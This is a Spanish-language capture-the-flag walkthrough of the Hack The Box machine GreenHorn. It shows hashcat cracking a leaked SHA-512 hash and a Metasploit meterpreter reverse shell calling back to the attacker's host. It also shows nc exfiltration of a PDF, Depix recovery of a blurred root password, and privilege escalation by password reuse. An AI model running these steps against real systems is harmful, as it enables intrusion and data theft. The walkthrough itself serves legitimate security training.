

#Si nos dirigimos a <http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php> veremos la pass.

#Deciframos el hash.

hashcat -m 1700 hash.txt --wordlist /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

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* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0

Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

* Zero-Byte

* Early-Skip

* Not-Salted

* Not-Iterated

* Single-Salt

* Raw-Hash

* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.

If you want to switch to optimized kernels, append -O to your commandline.

See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:

* Filename...: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344392

* Bytes.....: 139921507

* Keyspace...: 14344385

* Runtime...: 1 sec

d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530

f87fb793afdcc689b6b39024d7790163:iloveyou1

Approaching final keyspace - workload adjusted.

Session.....: hashcat

Status.....: Exhausted

Hash.Mode.....: 1700 (SHA2-512)

Hash.Target.....: hash.txt

Time.Started.....: Fri Aug 30 20:06:33 2024 (4 secs)

Time.Estimated....: Fri Aug 30 20:06:37 2024 (0 secs)

Kernel.Feature....: Pure Kernel

Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue.....: 1/1 (100.00%)

Speed.#1.....: 3406.6 kH/s (0.49ms) @ Accel:512 Loops:1 Thr:1 Vec:4

Recovered.....: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)

Progress.....: 14344385/14344385 (100.00%)

Rejected.....: 0/14344385 (0.00%)

Restore.Point....: 14344385/14344385 (100.00%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#1.....: \$HEX[216361726f6c796e] -> \$HEX[042a0337c2a156616d6f732103]

Started: Fri Aug 30 20:06:29 2024

Stopped: Fri Aug 30 20:06:38 2024

#Tenemos la contraseña:

pass → iloveyou1

priv_escalation

```
#Activamos el puerto 80.
sudo python3 -m http.server 80
[sudo] password for alle:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.25 - - [30/Aug/2024 20:37:05] "GET /payload.bin HTTP/1.1" 200 -
```

#Con el payload en la máquina víctima, obtenemos un shell.

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.174
LHOST => 10.10.14.174
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.174:4444
[*] Sending stage (1017704 bytes) to 10.10.11.25
[*] Meterpreter session 1 opened (10.10.14.174:4444 -> 10.10.11.25:52874) at 2024-08-30 20:41:49 +0200
```

```
meterpreter > shell
Process 54684 created.
Channel 1 created.
whoami
www-data
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@greenhorn:/var/tmp$ pwd
pwd
/var/tmp
www-data@greenhorn:/var/tmp$ whoami
whoami
www-data
www-data@greenhorn:/var/tmp$ su junior
su junior
Password: iloveyou1
```

```
junior@greenhorn:/var/tmp$ cat /home/junior/user.txt
cat /home/junior/user.txt
456f01e6b3d059a435fd74de8fd02cae
junior@greenhorn:/var/tmp$
```

#Ya tenemos la primera flag.

#Vemos otro fichero, nos los descargaremos con nc.

```
1º Ejecutamos nc en localhost:
nc -lvp 1234 > 'Using OpenVAS.pdf'
listening on [any] 1234 ...
connect to [10.10.14.174] from greenhorn.htb [10.10.11.25] 40608
```

```
2º Ejecutamos nc en la máquina atacante.
nc 10.10.14.174 1234 < 'Using OpenVAS.pdf'
```

#Descargamos el fichero 'OpenVAS.pdf'
#Luego cambiamos el pdf por una imagen.

```
pdfimages Using\ OpenVAS.pdf openvas21
-rw-r--r-- 1 alle alle 18914 Sep  1 19:25 openvas21-000.ppm
```

#Con la herramienta depix quitamos el blurr de la imagen.

```
python3 depix.py -p /home/alle/Desktop/machines/GreenHorn/openvas21-000.ppm -s /home/alle/Desktop/machines/
GreenHorn/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /home/alle/
Desktop/machines/GreenHorn/out.png
2024-09-01 19:37:33,151 - Loading pixelated image from /home/alle/Desktop/machines/GreenHorn/
```

openvas21-000.ppm
2024-09-01 19:37:33,176 - Loading search image from /home/alle/Desktop/machines/GreenHorn/Depix/images/
searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-09-01 19:37:33,898 - Finding color rectangles from pixelated space
2024-09-01 19:37:33,900 - Found 252 same color rectangles
2024-09-01 19:37:33,900 - 190 rectangles left after moot filter
2024-09-01 19:37:33,900 - Found 1 different rectangle sizes
2024-09-01 19:37:33,900 - Finding matches in search image
2024-09-01 19:37:33,900 - Scanning 190 blocks with size (5, 5)
2024-09-01 19:37:33,932 - Scanning in searchImage: 0/1674
2024-09-01 19:38:26,917 - Removing blocks with no matches
2024-09-01 19:38:26,917 - Splitting single matches and multiple matches
2024-09-01 19:38:26,921 - [16 straight matches | 174 multiple matches]
2024-09-01 19:38:26,921 - Trying geometrical matches on single-match squares
2024-09-01 19:38:27,269 - [29 straight matches | 161 multiple matches]
2024-09-01 19:38:27,270 - Trying another pass on geometrical matches
2024-09-01 19:38:27,572 - [41 straight matches | 149 multiple matches]
2024-09-01 19:38:27,572 - Writing single match results to output
2024-09-01 19:38:27,573 - Writing average results for multiple matches to output
2024-09-01 19:38:31,109 - Saving output image to: /home/alle/Desktop/machines/GreenHorn/out.png

#Hacemos un feh del out.png y obtenemos la contraseña.
sidefromsidetheothersidesidefromsidetheotherside

#Ya somos root.
su root
Password: sidefromsidetheothersidesidefromsidetheotherside
whoami
root